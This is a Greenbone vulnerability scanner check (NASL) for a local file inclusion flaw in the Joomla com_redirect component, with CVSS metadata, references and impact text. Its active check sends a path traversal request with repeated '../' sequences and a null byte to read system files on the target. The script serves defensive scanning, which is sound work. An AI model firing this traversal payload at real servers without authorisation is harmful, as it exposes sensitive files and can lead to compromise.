Joomla Redirect Component 'com_redirect' LFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
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#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100946");
  script_version("2026-04-30T06:27:06+0000");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2010-12-14 13:08:24 +0100 (Tue, 14 Dec 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("Joomla Redirect Component 'com_redirect' LFI Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("joomla_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45364");
  script_xref(name:"URL", value:"http://www.tutorialjoomla.net/2010/11/joomla-extensions-redirect-for-joomla-1-5/");

  script_tag(name:"summary", value:"The 'com_redirect' component for Joomla! is prone to a local
  file-include vulnerability because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information and execute arbitrary local scripts in the context of the webserver
  process. This may allow the attacker to compromise the application and the underlying computer.
  Other attacks are also possible.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

files = traversal_files();

foreach pattern(keys(files)) {

  file = files[pattern];
  url = dir + "/index.php?option=com_redirect&view=" + crap(data:"../", length:3 * 15) + file + "%00";

  if(http_vuln_check(port:port, url:url, pattern:pattern)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);